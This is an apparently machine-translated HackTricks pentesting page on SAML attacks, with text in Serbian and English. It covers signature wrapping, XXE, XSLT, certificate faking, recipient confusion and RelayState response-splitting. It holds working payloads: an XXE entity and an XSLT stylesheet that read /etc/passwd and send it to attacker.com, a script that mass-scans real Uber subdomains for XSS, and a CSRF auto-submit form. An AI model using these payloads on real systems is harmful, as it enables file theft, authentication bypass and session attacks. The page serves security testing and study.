SAML Attacks

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

SAML Basics

Alat

SAMLExtractor: Alat koji može uzeti URL ili listu URL-ova i vratiti SAML consume URL.

XML round-trip

U XML-u potpisani deo XML-a se sačuva u memoriji, zatim se izvrši neko kodiranje/dekodiranje i proveri se potpis. U idealnom slučaju to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali u ovom scenariju, podatci koji se proveravaju i originalni podatci možda nisu isti.

Na primer, pogledajte sledeći kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Pokretanje programa protiv REXML 3.2.4 ili starijih verzija dovelo bi do sledećeg izlaza:

First child in original doc: Y
First child after round-trip: Z

Ovako je REXML video originalni XML dokument iz programa iznad:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

A ovako ga je video nakon parsiranja i serijalizacije:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Za više informacija o ranjivosti i kako je zloupotrebiti:

XML Signature Wrapping Attacks

U XML Signature Wrapping attacks (XSW), napadači iskorišćavaju ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve odvojene faze: validacija potpisa i pozivanje funkcije. Ovi napadi podrazumevaju menjanje strukture XML dokumenta. Konkretno, napadač ubrizga falsifikovane elemente koji ne narušavaju validnost XML Signature-a. Ova manipulacija ima za cilj da stvori neslaganje između elemenata koje analizira logika aplikacije i onih koje proverava modul za verifikaciju potpisa. Kao rezultat, dok XML Signature ostaje tehnički važeći i prolazi verifikaciju, logika aplikacije obrađuje lažne elemente. Posledično, napadač efikasno zaobilazi zaštitu integriteta i autentikaciju porekla koju pruža XML Signature, omogućavajući ubacivanje proizvoljnog sadržaja bez detekcije.

Sledeći napadi zasnivaju se na this blog post i this paper. Pogledajte ih za dodatne detalje.

XSW #1

  • Strategija: Dodaje se novi root element koji sadrži Signature.
  • Implikacija: Validator se može zbuniti između legitimnog “Response -> Assertion -> Subject” i napadačevog “evil new Response -> Assertion -> Subject”, što dovodi do problema sa integritetom podataka.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Razlika u odnosu na XSW #1: Koristi se detached signature umesto enveloping signature.
  • Implikacija: “Evil” struktura, sličnoj XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategija: Zlonameran Assertion je kreiran na istom hijerarhijskom nivou kao originalni assertion.
  • Implikacija: Namenjeno da zbuni poslovnu logiku da koristi maliciozne podatke.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Razlika u odnosu na XSW #3: Originalni Assertion postaje dete dupliranog (zlonamernog) Assertion-a.
  • Implikacija: Slično XSW #3, ali agresivnije menja XML strukturu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Jedinstveni aspekt: Ni Signature ni originalni Assertion ne slede standardne konfiguracije (enveloped/enveloping/detached).
  • Implikacija: Kopirani Assertion obavija Signature, menjajući očekivanu strukturu dokumenta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategija: Slično umetanju lokacije kao u XSW #4 i #5, ali sa obrtom.
  • Implikacija: Kopirani Assertion obavija Signature, koji zatim obavija originalni Assertion, stvarajući ugnježdenu zavaravajuću strukturu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategija: Ubacuje se Extensions element sa kopiranim Assertion-om kao detetom.
  • Implikacija: Ovo iskorišćava manje restriktivnu šemu Extensions elementa da zaobiđe mere za validaciju šeme, naročito u bibliotekama kao što je OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Razlika u odnosu na XSW #7: Koristi se neki drugi manje restriktivan XML element za varijantu napada.
  • Implikacija: Originalni Assertion postaje dete manje restriktivnog elementa, obrćući strukturu korišćenu u XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Možete koristiti Burp ekstenziju SAML Raider da parsirate zahtev, primenite izabrani XSW napad i pokrenete ga.

XXE

Ako ne znate koje vrste napada su XXE, pročitajte sledeću stranicu:

XXE - XEE - XML External Entity

SAML Responses su deflated i base64 encoded XML documents i mogu biti podložni XML External Entity (XXE) napadima. Manipulacijom XML strukture SAML Response-a, napadači mogu pokušati da iskoriste XXE ranjivosti. Ovako se takav napad može vizualizovati:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Alati

Takođe možete koristiti Burp ekstenziju SAML Raider да генеришете POC из SAML захтева ради тестирања могућих XXE и SAML ранљивости.

Pogledajte i ovo predavanje: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT путем SAML

За више информација о XSLT посетите:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) се могу користити за трансформацију XML докумената у различите формате као што су HTML, JSON или PDF. Важно је напоменути да се XSLT трансформације извршавају пре верификације дигиталног потписа. То значи да напад може бити успешан чак и без важећег потписа; довољан је самопотписан или неважећи потпис да би се напад извео.

Овде можете пронаћи POC за проверу оваквих ранљивости; на hacktricks страници поменутој на почетку овог дела можете пронаћи payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Alat

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, signature validation may not occur, making it vulnerable. It’s possibel to test this by altering the contents that are usually verified by the signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Alat

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking is a technique to test if a Service Provider (SP) properly verifies that a SAML Message is signed by a trusted Identity Provider (IdP). It involves using a *self-signed certificate to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.

Kako izvesti Certificate Faking

The following steps outline the process using the SAML Raider Burp extension:

  1. Presretnite SAML Response.
  2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
  3. In the SAML Raider Certificates tab, select the imported certificate and click Save and Self-Sign to create a self-signed clone of the original certificate.
  4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
  5. Remove any existing signatures with the Remove Signatures button.
  6. Sign the message or assertion with the new certificate using the (Re-)Sign Message or (Re-)Sign Assertion button, as appropriate.
  7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion and Service Provider Target Confusion involve checking whether the Service Provider correctly validates the intended recipient of a response. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the Recipient field, found within the SubjectConfirmationData element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.

Kako funkcioniše

For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.

The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS u Logout funkcionalnosti

Originalno istraživanje je dostupno na ovom linku.

Tokom procesa directory brute forcing-a, otkrivena je logout stranica na:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Prilikom pristupa ovom linku, izvršeno je preusmeravanje na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Ovo je otkrilo da base parametar prihvata URL. Imajući to u vidu, pojavila se ideja da se URL zameni sa javascript:alert(123); u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.

Masovna eksploatacija

From this research:

The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection ka rXSS

Neki SAML SSO endpointi dekodiraju RelayState i potom ga reflektuju u odgovor bez sanitizacije. Ako možete da ubacite nove linije i prepišete response Content-Type, možete primorati browser da rendruje HTML pod kontrolom napadača, ostvarujući reflected XSS.

  • Ideja: iskoristiti response-splitting putem ubacivanja newline-a u reflektovani RelayState. Pogledajte takođe opšte napomene u CRLF injection.
  • Radi čak i kada se RelayState dekodira sa base64 na serveru: dostavite base64 koji dekodira u header/body injection.

Generalizovani koraci:

  1. Sastavite sekvencu za header/body injection koja počinje novim redom, prepišite content type u HTML, zatim ubacite HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode the sequence (example):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Pošaljite POST sa sintaksički validnim SAMLResponse i posebno kreiranim RelayState na SSO endpoint (npr. /cgi/logout).
  2. Isporuka preko CSRF: hostujte stranicu koja automatski šalje cross-origin POST ka ciljnom originu uključujući oba polja.

PoC protiv NetScaler SSO endpointa (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF obrazac isporuke:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Zašto to radi: server dekodira RelayState i ugrađuje ga u response na način koji dozvoljava newline injection, omogućavajući attacker da utiče na headers i body. Prisiljavanjem Content-Type: text/html browser će renderovati attacker-controlled HTML iz response body-ja.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks